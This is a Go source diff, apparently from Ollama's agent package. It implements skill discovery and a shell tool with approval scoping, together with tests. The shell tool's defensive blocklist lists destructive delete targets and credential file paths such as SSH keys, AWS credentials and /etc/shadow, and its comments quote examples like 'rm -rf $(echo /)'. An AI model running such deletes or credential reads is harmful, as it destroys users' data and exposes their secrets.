}
return catalog, nil
}
// LoadDefaultSkills discovers skills from the spec's scopes, merged with
// deterministic precedence. Roots are scanned lowest-precedence first so later
// roots override earlier ones on name collisions (recording a diagnostic):
//
// 1. ~/.agents/skills/ (user, cross-client)
// 2. user Ollama skills dir (user, Ollama-owned; SkillsDir)
// 3. <project>/.agents/skills/ (project, cross-client)
// 4. <project>/.ollama/skills/ (project, Ollama-owned)
//
// Project-level overrides user-level, and within a scope Ollama-owned
// directories override .agents/skills/. projectDir is the agent's working
// directory at startup (discovery is a session-start snapshot per the spec).
func LoadDefaultSkills(projectDir string) (*SkillCatalog, error) {
roots, err := defaultSkillRoots(projectDir)
if err != nil {
return nil, err
}
catalog := &SkillCatalog{skills: make(map[string]Skill)}
bundled, err := bundledSkillCreator()
if err != nil {
return nil, err
}
catalog.skills[bundled.Name] = bundled
if err := installBundledSkillCreator(); err != nil {
catalog.diagnostics = append(catalog.diagnostics, err)
}
for _, root := range roots {
sub, err := DiscoverSkills(root.path)
if err != nil {
catalog.diagnostics = append(catalog.diagnostics, fmt.Errorf("discover skills in %s: %w", root.path, err))
continue
}
catalog.diagnostics = append(catalog.diagnostics, sub.diagnostics...)
for _, skill := range sub.skills {
// Name collisions across roots are expected precedence resolution,
// not errors: later (higher-precedence) roots legitimately override
// earlier ones. The skill is still loaded; no diagnostic needed.
catalog.skills[skill.Name] = skill
}
}
return catalog, nil
}
func bundledSkillCreator() (Skill, error) {
skill, err := parseSkillContent("", bundledSkillCreatorName, bundledSkillCreatorContent)
if err != nil {
return Skill{}, fmt.Errorf("load bundled %s skill: %w", bundledSkillCreatorName, err)
}
return skill, nil
}
func installBundledSkillCreator() error {
dir, err := SkillsDir()
if err != nil {
return fmt.Errorf("resolve bundled skill directory: %w", err)
}
path := filepath.Join(dir, bundledSkillCreatorName, skillFilename)
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
return fmt.Errorf("create bundled skill directory: %w", err)
}
contents, err := os.ReadFile(path)
if err == nil && string(contents) == bundledSkillCreatorContent {
return nil
}
if err != nil && !errors.Is(err, fs.ErrNotExist) {
return fmt.Errorf("read bundled skill: %w", err)
}
if err := os.WriteFile(path, []byte(bundledSkillCreatorContent), 0o644); err != nil {
return fmt.Errorf("write bundled skill: %w", err)
}
return nil
}
type skillRoot struct {
path string
}
// defaultSkillRoots returns skill directories ordered lowest- to
// highest-precedence. Non-existent directories are scanned harmlessly
// (DiscoverSkills skips them).
func defaultSkillRoots(projectDir string) ([]skillRoot, error) {
var roots []skillRoot
if home, err := os.UserHomeDir(); err == nil && home != "" {
roots = append(roots, skillRoot{path: filepath.Join(home, ".agents", "skills")})
}
userOllama, err := SkillsDir()
if err != nil {
return nil, err
}
roots = append(roots, skillRoot{path: userOllama})
projectDir = strings.TrimSpace(projectDir)
if projectDir != "" {
if abs, err := filepath.Abs(projectDir); err == nil {
roots = append(roots,
skillRoot{path: filepath.Join(abs, ".agents", "skills")},
skillRoot{path: filepath.Join(abs, ".ollama", "skills")},
)
}
}
return roots, nil
}
func (c *SkillCatalog) Dir() string {
if c == nil {
return ""
}
return c.dir
}
func (c *SkillCatalog) List() []Skill {
if c == nil {
return nil
}
list := make([]Skill, 0, len(c.skills))
for _, skill := range c.skills {
list = append(list, skill)
}
sort.Slice(list, func(i, j int) bool { return list[i].Name < list[j].Name })
return list
}
func (c *SkillCatalog) Diagnostics() []error {
if c == nil {
return nil
}
return append([]error(nil), c.diagnostics...)
}
func (c *SkillCatalog) Load(name string) (Skill, error) {
name = strings.TrimSpace(name)
if !skillName.MatchString(name) {
return Skill{}, fmt.Errorf("invalid skill name %q", name)
}
if c == nil {
return Skill{}, errors.New("skills are unavailable")
}
skill, ok := c.skills[name]
if !ok {
return Skill{}, fmt.Errorf("skill %q not found in %s", name, c.dir)
}
return skill, nil
}
// SystemContext advertises the catalog without expanding full instructions in
// every request. The skill call is the explicit loading boundary.
func (c *SkillCatalog) SystemContext() string {
list := c.List()
if len(list) == 0 {
return ""
}
lines := []string{"<available_skills>"}
for _, skill := range list {
description := skill.Description
if description == "" {
description = "No description provided."
}
lines = append(lines, fmt.Sprintf("- %s: %s", skill.Name, description))
}
lines = append(lines, "</available_skills>", "Load a matching skill with the skill tool before following its instructions. Skills only provide instructions; use ordinary tools for filesystem or network access, with their normal approval rules.")
return strings.Join(lines, "\n")
}
func parseSkill(path, directoryName string) (Skill, error) {
// Stat (not Lstat) so a symlinked SKILL.md resolves to its target file.
info, err := os.Stat(path)
if err != nil {
return Skill{}, err
}
if !info.Mode().IsRegular() {
return Skill{}, fmt.Errorf("skill %q: %s is not a regular file", directoryName, skillFilename)
}
if info.Size() > maxSkillBytes {
return Skill{}, fmt.Errorf("skill %q: %s exceeds %d bytes", directoryName, skillFilename, maxSkillBytes)
}
data, err := os.ReadFile(path)
if err != nil {
return Skill{}, fmt.Errorf("read skill %q: %w", directoryName, err)
}
return parseSkillContent(path, directoryName, string(data))
}
func parseSkillContent(path, directoryName, input string) (Skill, error) {
instructions := strings.TrimSpace(input)
if instructions == "" {
return Skill{}, fmt.Errorf("skill %q: %s is empty", directoryName, skillFilename)
}
if !strings.HasPrefix(instructions, "---\n") && !strings.HasPrefix(instructions, "---\r\n") {
return Skill{}, fmt.Errorf("skill %q: missing YAML front matter", directoryName)
}
metadata, body, err := skillFrontMatter(instructions)
if err != nil {
return Skill{}, fmt.Errorf("skill %q: %w", directoryName, err)
}
if metadata.Name == "" {
return Skill{}, fmt.Errorf("skill %q: front matter requires name", directoryName)
}
if metadata.Description == "" {
return Skill{}, fmt.Errorf("skill %q: front matter requires description", directoryName)
}
if !skillName.MatchString(metadata.Name) {
return Skill{}, fmt.Errorf("skill %q: invalid front matter name %q", directoryName, metadata.Name)
}
if metadata.Name != directoryName {
return Skill{}, fmt.Errorf("skill %q: front matter name %q must match directory name", directoryName, metadata.Name)
}
skill := Skill{Name: metadata.Name, Description: metadata.Description, Path: path}
instructions = body
if strings.TrimSpace(instructions) == "" {
return Skill{}, fmt.Errorf("skill %q: instructions are empty", directoryName)
}
skill.Instructions = strings.TrimSpace(instructions)
return skill, nil
}
type skillFrontMatterMetadata struct {
Name string `yaml:"name"`
Description string `yaml:"description"`
Metadata map[string]any `yaml:"metadata"`
}
func skillFrontMatter(input string) (skillFrontMatterMetadata, string, error) {
input = strings.ReplaceAll(input, "\r\n", "\n")
lines := strings.Split(input, "\n")
if len(lines) < 3 || lines[0] != "---" {
return skillFrontMatterMetadata{}, "", errors.New("invalid front matter")
}
for i := 1; i < len(lines); i++ {
if lines[i] == "---" {
var metadata skillFrontMatterMetadata
if err := yaml.Unmarshal([]byte(strings.Join(lines[1:i], "\n")), &metadata); err != nil {
return skillFrontMatterMetadata{}, "", fmt.Errorf("parse YAML front matter: %w", err)
}
metadata.Name = strings.TrimSpace(metadata.Name)
metadata.Description = strings.TrimSpace(metadata.Description)
return metadata, strings.Join(lines[i+1:], "\n"), nil
}
}
return skillFrontMatterMetadata{}, "", errors.New("front matter is not closed")
}
+293
View File
@@ -0,0 +1,293 @@
package agent
import (
"os"
"path/filepath"
"strings"
"testing"
)
func writeCatalogSkill(t *testing.T, dir, name, content string) {
t.Helper()
path := filepath.Join(dir, name)
if err := os.MkdirAll(path, 0o755); err != nil {
t.Fatal(err)
}
if !strings.HasPrefix(content, "---") {
content = "---\nname: " + name + "\ndescription: Test skill.\n---\n" + content
}
if err := os.WriteFile(filepath.Join(path, skillFilename), []byte(content), 0o644); err != nil {
t.Fatal(err)
}
}
func TestDiscoverAndLoadSkills(t *testing.T) {
dir := t.TempDir()
writeCatalogSkill(t, dir, "release-notes", "---\nname: release-notes\ndescription: Draft concise release notes.\nmetadata:\n author: Ollama\n labels:\n - release\n - docs\n---\n# Release notes\n\nUse short bullets.")
catalog, err := DiscoverSkills(dir)
if err != nil {
t.Fatal(err)
}
list := catalog.List()
if len(list) != 1 || list[0].Name != "release-notes" || list[0].Description != "Draft concise release notes." {
t.Fatalf("skills = %#v", list)
}
skill, err := catalog.Load("release-notes")
if err != nil {
t.Fatal(err)
}
if !strings.Contains(skill.Content(), `<skill name="release-notes">`) || !strings.Contains(skill.Content(), "Use short bullets.") {
t.Fatalf("skill content = %q", skill.Content())
}
if context := catalog.SystemContext(); !strings.Contains(context, "release-notes: Draft concise release notes.") || !strings.Contains(context, "normal approval rules") {
t.Fatalf("system context = %q", context)
}
}
func TestDiscoverSkillsSkipsMalformedEntries(t *testing.T) {
dir := t.TempDir()
writeCatalogSkill(t, dir, "valid", "do the useful thing")
writeCatalogSkill(t, dir, "mismatched", "---\nname: whatever\ndescription: wrong name\n---\nbody")
// Genuinely malformed front matter (a line without a key:value pair) is still rejected.
writeCatalogSkill(t, dir, "broken", "---\nname: broken\ndescription\n---\nnope")
writeCatalogSkill(t, dir, "missing-name", "---\ndescription: missing name\n---\nbody")
writeCatalogSkill(t, dir, "missing-description", "---\nname: missing-description\n---\nbody")
writeCatalogSkill(t, dir, "bad-name", "---\nname: bad_name\ndescription: invalid name\n---\nbody")
writeCatalogSkill(t, dir, "under_score", "---\nname: under_score\ndescription: invalid directory\n---\nbody")
if err := os.MkdirAll(filepath.Join(dir, "no-front-matter"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(dir, "no-front-matter", skillFilename), []byte("body"), 0o644); err != nil {
t.Fatal(err)
}
catalog, err := DiscoverSkills(dir)
if err != nil {
t.Fatal(err)
}
if got, want := len(catalog.List()), 1; got != want {
t.Fatalf("valid skills = %d, want %d", got, want)
}
if got, want := len(catalog.Diagnostics()), 7; got != want {
t.Fatalf("diagnostics = %d, want %d: %#v", got, want, catalog.Diagnostics())
}
if _, err := catalog.Load("broken"); err == nil || !strings.Contains(err.Error(), "not found") {
t.Fatalf("load broken error = %v", err)
}
if _, err := catalog.Load("../valid"); err == nil || !strings.Contains(err.Error(), "invalid skill name") {
t.Fatalf("unsafe name error = %v", err)
}
}
func TestDiscoverSkillsFollowsSymlinks(t *testing.T) {
dir := t.TempDir()
target := t.TempDir()
writeCatalogSkill(t, target, "shared", "---\nname: shared\ndescription: From a linked repo.\n---\nshared instructions")
if err := os.Symlink(filepath.Join(target, "shared"), filepath.Join(dir, "shared")); err != nil {
t.Skipf("symlink not supported: %v", err)
}
catalog, err := DiscoverSkills(dir)
if err != nil {
t.Fatal(err)
}
list := catalog.List()
if len(list) != 1 || list[0].Name != "shared" || list[0].Description != "From a linked repo." {
t.Fatalf("symlinked skills = %#v", list)
}
if !strings.Contains(list[0].Content(), "shared instructions") {
t.Fatalf("symlinked skill content = %q", list[0].Content())
}
}
func TestLoadDefaultSkillsContinuesAfterBadRoot(t *testing.T) {
home := t.TempDir()
t.Setenv("HOME", home)
t.Setenv("USERPROFILE", home)
project := t.TempDir()
writeCatalogSkill(t, filepath.Join(project, ".ollama", "skills"), "release-notes", "project instructions")
badRoot := filepath.Join(t.TempDir(), "not-a-directory")
if err := os.WriteFile(badRoot, []byte("not a directory"), 0o644); err != nil {
t.Fatal(err)
}
t.Setenv(SkillsDirEnv, badRoot)
catalog, err := LoadDefaultSkills(project)
if err != nil {
t.Fatal(err)
}
if _, err := catalog.Load("release-notes"); err != nil {
t.Fatalf("valid skill was hidden by bad root: %v", err)
}
if _, err := catalog.Load(bundledSkillCreatorName); err != nil {
t.Fatalf("bundled skill was hidden by bad root: %v", err)
}
var foundDiagnostic bool
for _, diagnostic := range catalog.Diagnostics() {
if strings.Contains(diagnostic.Error(), badRoot) {
foundDiagnostic = true
break
}
}
if !foundDiagnostic {
t.Fatalf("diagnostics = %#v, want bad root %q", catalog.Diagnostics(), badRoot)
}
}
func TestLoadDefaultSkillsInstallsBundledSkillCreator(t *testing.T) {
dir := t.TempDir()
t.Setenv(SkillsDirEnv, dir)
catalog, err := LoadDefaultSkills("")
if err != nil {
t.Fatal(err)
}
skill, err := catalog.Load(bundledSkillCreatorName)
if err != nil {
t.Fatal(err)
}
path := filepath.Join(dir, bundledSkillCreatorName, skillFilename)
contents, err := os.ReadFile(path)
if err != nil {
t.Fatal(err)
}
if string(contents) != bundledSkillCreatorContent {
t.Fatalf("installed skill = %q, want bundled contents", contents)
}
if skill.Path != path {
t.Fatalf("skill path = %q, want %q", skill.Path, path)
}
if !strings.Contains(skill.Content(), "Skill directory: "+filepath.Dir(path)) {
t.Fatalf("skill content does not identify its directory: %q", skill.Content())
}
}
func TestLoadDefaultSkillsUpdatesExistingSkillCreator(t *testing.T) {
dir := t.TempDir()
t.Setenv(SkillsDirEnv, dir)
writeCatalogSkill(t, dir, bundledSkillCreatorName, "custom instructions")
if _, err := LoadDefaultSkills(""); err != nil {
t.Fatal(err)
}
contents, err := os.ReadFile(filepath.Join(dir, bundledSkillCreatorName, skillFilename))
if err != nil {
t.Fatal(err)
}
if string(contents) != bundledSkillCreatorContent {
t.Fatalf("installed skill = %q, want bundled contents", contents)
}
}
func TestSkillsDirUsesOverrideAndXDG(t *testing.T) {
base := t.TempDir()
override := filepath.Join(base, "skills-override")
t.Setenv(SkillsDirEnv, override)
got, err := SkillsDir()
if err != nil {
t.Fatal(err)
}
want, err := filepath.Abs(override)
if err != nil {
t.Fatal(err)
}
if got != want {
t.Fatalf("SkillsDir override = %q, want %q", got, want)
}
t.Setenv(SkillsDirEnv, "")
xdg := filepath.Join(base, "xdg")
t.Setenv("XDG_CONFIG_HOME", xdg)
if got, err := SkillsDir(); err != nil || got != filepath.Join(xdg, "ollama", "skills") {
t.Fatalf("SkillsDir xdg = %q, want %q, %v", got, filepath.Join(xdg, "ollama", "skills"), err)
}
t.Setenv("XDG_CONFIG_HOME", "")
home := filepath.Join(base, "home")
t.Setenv("HOME", home)
t.Setenv("USERPROFILE", home)
if got, err := SkillsDir(); err != nil || got != filepath.Join(home, ".ollama", "skills") {
t.Fatalf("SkillsDir default = %q, want %q, %v", got, filepath.Join(home, ".ollama", "skills"), err)
}
}
func TestLoadDefaultSkillsPrecedenceAndCollisions(t *testing.T) {
home := t.TempDir()
t.Setenv("HOME", home)
t.Setenv("USERPROFILE", home) // Windows: os.UserHomeDir uses %USERPROFILE%
userOllama := t.TempDir()
t.Setenv(SkillsDirEnv, userOllama)
userAgents := filepath.Join(home, ".agents", "skills")
project := t.TempDir()
projectAgents := filepath.Join(project, ".agents", "skills")
projectOllama := filepath.Join(project, ".ollama", "skills")
// release-notes exists in all four roots; project ollama must win.
writeCatalogSkill(t, userAgents, "release-notes", "from user agents")
writeCatalogSkill(t, userOllama, "release-notes", "from user ollama")
writeCatalogSkill(t, projectOllama, "release-notes", "from project ollama")
// code-review exists in both project roots; project ollama beats project agents.
writeCatalogSkill(t, projectAgents, "code-review", "from project agents")
writeCatalogSkill(t, projectOllama, "code-review", "from project ollama")
// unique appears only in user ollama (via env override).
writeCatalogSkill(t, userOllama, "unique", "only here")
catalog, err := LoadDefaultSkills(project)
if err != nil {
t.Fatal(err)
}
rn, err := catalog.Load("release-notes")
if err != nil || !strings.Contains(rn.Instructions, "from project ollama") || !strings.Contains(rn.Path, ".ollama") {
t.Fatalf("release-notes = %#v, want project ollama to win", rn)
}
cr, err := catalog.Load("code-review")
if err != nil || !strings.Contains(cr.Instructions, "from project ollama") {
t.Fatalf("code-review = %#v, want project ollama to win over project agents", cr)
}
if _, err := catalog.Load("unique"); err != nil {
t.Fatalf("unique should load from user ollama: %v", err)
}
// Collisions are resolved silently by precedence — no diagnostics.
for _, d := range catalog.Diagnostics() {
if strings.Contains(d.Error(), "shadows") {
t.Fatalf("unexpected shadow diagnostic: %v", d)
}
}
}
func TestSkillContentListsDirectoryAndResources(t *testing.T) {
root := t.TempDir()
skillDir := filepath.Join(root, "pdf-processing")
if err := os.MkdirAll(filepath.Join(skillDir, "scripts"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.MkdirAll(filepath.Join(skillDir, "references"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(skillDir, "SKILL.md"), []byte("---\nname: pdf-processing\ndescription: Handle PDFs.\n---\nHandle PDFs."), 0o644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(skillDir, "scripts", "extract.py"), []byte("#!/usr/bin/env python3"), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(skillDir, "references", "ref.md"), []byte("ref"), 0o644); err != nil {
t.Fatal(err)
}
catalog, err := DiscoverSkills(root)
if err != nil {
t.Fatal(err)
}
skill, err := catalog.Load("pdf-processing")
if err != nil {
t.Fatal(err)
}
content := skill.Content()
if !strings.Contains(content, "Skill directory:") || !strings.Contains(content, skillDir) {
t.Fatalf("content missing skill directory: %q", content)
}
if !strings.Contains(content, "<file>scripts/extract.py</file>") || !strings.Contains(content, "<file>references/ref.md</file>") {
t.Fatalf("content missing resource listing: %q", content)
}
}
+450
View File
@@ -0,0 +1,450 @@
package tools
import (
"context"
"errors"
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
"time"
"unicode/utf8"
"github.com/ollama/ollama/agent"
"github.com/ollama/ollama/api"
)
const (
bashTimeout = 3 * time.Minute
bashWaitDelay = 1 * time.Second
maxBashOutputBytes = 60_000
)
type Bash struct{}
func (b *Bash) Name() string {
return shellToolName()
}
func (b *Bash) Description() string {
return shellToolDescription()
}
func (b *Bash) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("command", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: shellCommandDescription(),
})
return api.ToolFunction{
Name: b.Name(),
Description: b.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"command"},
},
}
}
func (b *Bash) RequiresApproval(map[string]any) bool {
return true
}
// ApprovalScope scopes shell approval to the exact, trimmed command string
// using a NUL separator: "<tool>\x00<command>". "Always allow this command"
// matches ONLY that precise string — any whitespace, quoting, or casing
// variant re-prompts. The NUL separator is safe because a shell command
// string cannot contain a literal NUL.
func (b *Bash) ApprovalScope(args map[string]any) string {
name := b.Name()
if command, ok := args["command"].(string); ok {
command = strings.TrimSpace(command)
if command != "" {
return name + "\x00" + command
}
}
return name
}
func (b *Bash) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
// TODO: use shared agent.RequiredStringArg for the "command" parameter (see agent package cleanup plan).
command, ok := args["command"].(string)
if !ok || strings.TrimSpace(command) == "" {
return agent.ToolResult{}, fmt.Errorf("command parameter is required")
}
if err := rejectUnsafeShellCommand(command); err != nil {
return agent.ToolResult{}, err
}
ctx, cancel := context.WithTimeout(ctx, bashTimeout)
defer cancel()
cwdFile, err := os.CreateTemp("", "ollama-agent-cwd-*")
if err != nil {
return agent.ToolResult{}, err
}
cwdPath := cwdFile.Name()
_ = cwdFile.Close()
defer os.Remove(cwdPath)
cmd := newBashCommand(ctx, command, cwdPath)
cmd.WaitDelay = bashWaitDelay
cmd.Cancel = func() error {
return killBashCommand(cmd)
}
if toolCtx.WorkingDir != "" {
cmd.Dir = toolCtx.WorkingDir
}
var stdout, stderr boundedOutput
stdout.Limit = maxBashOutputBytes
stderr.Limit = maxBashOutputBytes
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err = runBashCommand(cmd)
finalWorkingDir := readFinalWorkingDir(cwdPath)
var sb strings.Builder
if stdout.Len() > 0 {
sb.WriteString(stdout.String("stdout"))
}
if stderr.Len() > 0 {
if sb.Len() > 0 {
sb.WriteString("\n")
}
sb.WriteString("stderr:\n")
sb.WriteString(stderr.String("stderr"))
}
if err != nil {
if ctx.Err() == context.DeadlineExceeded {
return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command timed out after "+bashTimeout.String()), WorkingDir: finalWorkingDir}, nil
}
if ctx.Err() == context.Canceled {
return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command was canceled"), WorkingDir: finalWorkingDir}, nil
}
if errors.Is(err, exec.ErrWaitDelay) {
_ = killBashCommand(cmd)
return agent.ToolResult{Content: bashContentWithError(sb.String(), "Error: command output pipes did not close after "+bashWaitDelay.String()), WorkingDir: finalWorkingDir}, nil
}
if exitErr, ok := err.(*exec.ExitError); ok {
return agent.ToolResult{Content: bashContentWithError(sb.String(), fmt.Sprintf("Exit code: %d", exitErr.ExitCode())), WorkingDir: finalWorkingDir}, nil
}
return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, fmt.Errorf("executing command: %w", err)
}
if sb.Len() == 0 {
return agent.ToolResult{Content: "(no output)", WorkingDir: finalWorkingDir}, nil
}
return agent.ToolResult{Content: sb.String(), WorkingDir: finalWorkingDir}, nil
}
func bashContentWithError(content, msg string) string {
if content == "" {
return msg
}
return content + "\n\n" + msg
}
// rejectUnsafeShellCommand applies a best-effort blocklist for obviously
// destructive or credential-exfiltrating commands. It is defense-in-depth
// ONLY: the interactive approval prompt is the real security control, and
// this check must not be relied upon as a sandbox. Sophisticated or novel
// dangerous commands (e.g. find / -delete, dd, fork bombs, custom binaries)
// are NOT caught here and will simply be routed through approval like any
// other command. Keep the approval prompt as the gate.
func rejectUnsafeShellCommand(command string) error {
switch {
case hasUnsafeRecursiveDelete(command):
return fmt.Errorf("refusing to run unsafe command: recursive delete target is too broad")
case readsCredentialPath(command):
return fmt.Errorf("refusing to run unsafe command: credential file reads are not allowed")
default:
return nil
}
}
func hasUnsafeRecursiveDelete(command string) bool {
// Check each command segment independently. shellSafetyText flattens
// separators (; & | newlines) to spaces, which would otherwise let the
// rm target scan bleed across command boundaries — e.g.
// "rm -rf build && echo ~/.ssh/config" flattened to one token stream
// would treat the unrelated ~/.ssh/config (a ~/-prefixed "unsafe
// target") as an rm argument. Splitting on separators first restores
// command boundaries while still catching multi-target single commands
// like "rm -rf build /etc".
for _, segment := range shellSegments(command) {
fields := shellSafetyFields(segment)
for i, field := range fields {
if isRMCommand(field) && rmCommandDeletesUnsafeTarget(fields[i+1:]) {
return true
}
if isPowerShellDeleteCommand(field) && powerShellDeleteCommandDeletesUnsafeTarget(fields[i+1:]) {
return true
}
}
}
return false
}
// shellSegments splits a command on shell control operators (;, &, |, &&,
// ||) and newlines, returning the individual command segments. It operates on
// the lowercased raw command before quote/separator normalization so that
// command boundaries are preserved for per-segment checks. Subshell parens are
// intentionally NOT treated as separators: splitting on them would fragment
// command substitutions like "rm -rf $(echo /)" into "rm -rf $" and "echo /",
// hiding the destructive "/" target from the per-segment scan. Empty segments
// are dropped.
func shellSegments(command string) []string {
command = strings.ToLower(command)
var segments []string
for _, segment := range strings.FieldsFunc(command, func(r rune) bool {
switch r {
case ';', '&', '|', '\n', '\r':
return true
}
return false
}) {
if segment = strings.TrimSpace(segment); segment != "" {
segments = append(segments, segment)
}
}
return segments
}
func rmCommandDeletesUnsafeTarget(fields []string) bool {
var flags string
for _, field := range fields {
if field == "--" {
continue
}
if strings.HasPrefix(field, "-") {
flags += field
continue
}
if strings.Contains(flags, "r") && strings.Contains(flags, "f") && isUnsafeDeleteTarget(field) {
return true
}
}
return false
}
func powerShellDeleteCommandDeletesUnsafeTarget(fields []string) bool {
var recurse, force bool
var targets []string
for _, field := range fields {
switch field {
case "-r", "-recurse", "-recursive":
recurse = true
case "-f", "-force":
force = true
default:
if !strings.HasPrefix(field, "-") {
targets = append(targets, field)
}
}
}
if !recurse || !force {
return false
}
for _, target := range targets {
if isUnsafeDeleteTarget(target) {
return true
}
}
return false
}
func readsCredentialPath(command string) bool {
fields := shellSafetyFields(command)
if !hasCredentialReadVerb(fields) {
return false
}
normalized := shellSafetyText(command)
for _, fragment := range []string{
"/.ssh/id_rsa",
"/.ssh/id_dsa",
"/.ssh/id_ecdsa",
"/.ssh/id_ed25519",
"/.ssh/config",
"/.ssh/known_hosts",
"/.aws/credentials",
"/.aws/config",
"/.config/gcloud/application_default_credentials.json",
"/.kube/config",
"/.netrc",
"/.npmrc",
"/.docker/config.json",
"/.config/gh/hosts.yml",
"/.gnupg/",
"/etc/shadow",
} {
if strings.Contains(normalized, fragment) {
return true
}
}
return false
}
func hasCredentialReadVerb(fields []string) bool {
for _, field := range fields {
switch field {
case "cat", "less", "more", "head", "tail", "type", "get-content", "gc", "select-string", "grep", "rg", "sed", "awk":
return true
case "env", "printenv":
return true
}
}
return false
}
func isRMCommand(field string) bool {
return field == "rm" || strings.HasSuffix(field, "/rm")
}
func isPowerShellDeleteCommand(field string) bool {
switch field {
case "remove-item", "del", "erase", "rd", "rmdir":
return true
default:
return false
}
}
func isUnsafeDeleteTarget(target string) bool {
if target == "." || target == "./" || target == "*" {
return true
}
if target == "/*" {
return true
}
target = strings.TrimSuffix(target, "/*")
for _, prefix := range []string{"~/", "$home/", "${home}/", "$env:home/", "$env:userprofile/", "%userprofile%/"} {
if strings.HasPrefix(target, prefix) {
return true
}
}
for _, prefix := range []string{"/etc/", "/bin/", "/sbin/", "/usr/", "/var/", "/lib/", "/library/", "/system/", "/applications/", "c:/windows/", "c:/program files/"} {
if strings.HasPrefix(target, prefix) {
return true
}
}
for _, exact := range []string{"/", "~", "$home", "${home}", "$env:home", "$env:userprofile", "%userprofile%", "c:", "c:/", "/etc", "/bin", "/sbin", "/usr", "/var", "/lib", "/library", "/system", "/applications", "c:/windows", "c:/program files"} {
if target == exact {
return true
}
}
return false
}
func shellSafetyFields(command string) []string {
return strings.Fields(shellSafetyText(command))
}
func shellSafetyText(command string) string {
command = strings.ToLower(command)
return strings.NewReplacer(
"\\", "/",
"\n", " ",
"\t", " ",
";", " ",
"&", " ",
"|", " ",
"(", " ",
")", " ",
"\"", "",
"'", "",
"`", "",
).Replace(command)
}
func readFinalWorkingDir(path string) string {
content, err := os.ReadFile(path)
if err != nil {
return ""
}
workingDir := strings.TrimPrefix(string(content), "\ufeff")
workingDir = strings.TrimSpace(workingDir)
if workingDir == "" {
return ""
}
workingDir = normalizeBashWorkingDir(workingDir)
info, err := os.Stat(workingDir)
if err != nil || !info.IsDir() {
return ""
}
return workingDir
}
func normalizeBashWorkingDir(workingDir string) string {
if runtime.GOOS == "windows" && len(workingDir) >= 3 && workingDir[0] == '/' && workingDir[2] == '/' && isASCIIAlpha(workingDir[1]) {
workingDir = strings.ToUpper(string(workingDir[1])) + ":" + workingDir[2:]
}
workingDir = filepath.Clean(filepath.FromSlash(workingDir))
if runtime.GOOS == "windows" && len(workingDir) >= 2 && workingDir[1] == ':' && isASCIIAlpha(workingDir[0]) {
workingDir = strings.ToUpper(string(workingDir[0])) + workingDir[1:]
}
return workingDir
}
func isASCIIAlpha(b byte) bool {
return (b >= 'a' && b <= 'z') || (b >= 'A' && b <= 'Z')
}
type boundedOutput struct {
Limit int
buf []byte
omitted int
}
func (b *boundedOutput) Write(p []byte) (int, error) {
if b.Limit <= 0 {
b.omitted += len(p)
return len(p), nil
}
remaining := b.Limit - len(b.buf)
if remaining <= 0 {
b.omitted += len(p)
return len(p), nil
}
if len(p) <= remaining {
b.buf = append(b.buf, p...)
return len(p), nil
}
writeLen := utf8SafePrefixLen(p[:remaining])
b.buf = append(b.buf, p[:writeLen]...)
b.omitted += len(p) - writeLen
return len(p), nil
}
func (b *boundedOutput) Len() int {
return len(b.buf) + b.omitted
}
func (b *boundedOutput) String(label string) string {
safeLen := utf8SafePrefixLen(b.buf)
content := string(b.buf[:safeLen])
omitted := b.omitted + len(b.buf) - safeLen
if omitted == 0 {
return content
}
return content + agent.TruncMarker(label, safeLen, 0, omitted, false, "")
}
func utf8SafePrefixLen(p []byte) int {
if len(p) == 0 {
return 0
}
for i := 0; i < len(p); {
r, size := utf8.DecodeRune(p[i:])
if r == utf8.RuneError && size == 1 {
return i
}
i += size
}
return len(p)
}
+258
View File
@@ -0,0 +1,258 @@
package tools
import (
"context"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
"unicode/utf8"
"github.com/ollama/ollama/agent"
)
func TestBashReportsFinalWorkingDir(t *testing.T) {
root := t.TempDir()
subdir := filepath.Join(root, "sub")
if err := os.Mkdir(subdir, 0o755); err != nil {
t.Fatal(err)
}
result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: root}, map[string]any{
"command": shellTestCommand("cd sub && pwd", "Set-Location sub; Get-Location"),
})
if err != nil {
t.Fatal(err)
}
wantDir, err := filepath.EvalSymlinks(subdir)
if err != nil {
t.Fatal(err)
}
if result.WorkingDir != wantDir {
t.Fatalf("working dir = %q, want %q", result.WorkingDir, wantDir)
}
if !strings.Contains(result.Content, "sub") {
t.Fatalf("content = %q, want pwd output", result.Content)
}
}
func TestBashBoundsOutputWhileRunning(t *testing.T) {
result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
"command": shellTestCommand("yes x | head -c 70000", "[Console]::Out.Write(('x' * 70000))"),
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(result.Content, "[stdout truncated: showing first ~") || !strings.Contains(result.Content, "omitted ~") || !strings.Contains(result.Content, " tokens.]") {
t.Fatalf("content = %q, want stdout truncation marker", result.Content)
}
if count, want := strings.Count(result.Content, "x"), shellTestCapturedXCount(); count != want {
t.Fatalf("captured x count = %d, want %d", count, want)
}
if len(result.Content) > maxBashOutputBytes+200 {
t.Fatalf("content length = %d, want bounded output", len(result.Content))
}
}
func TestBoundedOutputTruncatesAtUTF8Boundary(t *testing.T) {
var out boundedOutput
out.Limit = len([]byte("abc")) + 1
if _, err := out.Write([]byte("abcédef")); err != nil {
t.Fatal(err)
}
content := out.String("stdout")
if !utf8.ValidString(content) {
t.Fatalf("content is not valid UTF-8: %q", content)
}
if strings.ContainsRune(content, utf8.RuneError) {
t.Fatalf("content contains replacement rune: %q", content)
}
if !strings.HasPrefix(content, "abc\n\n[stdout truncated:") {
t.Fatalf("content = %q, want complete ASCII prefix and truncation marker", content)
}
}
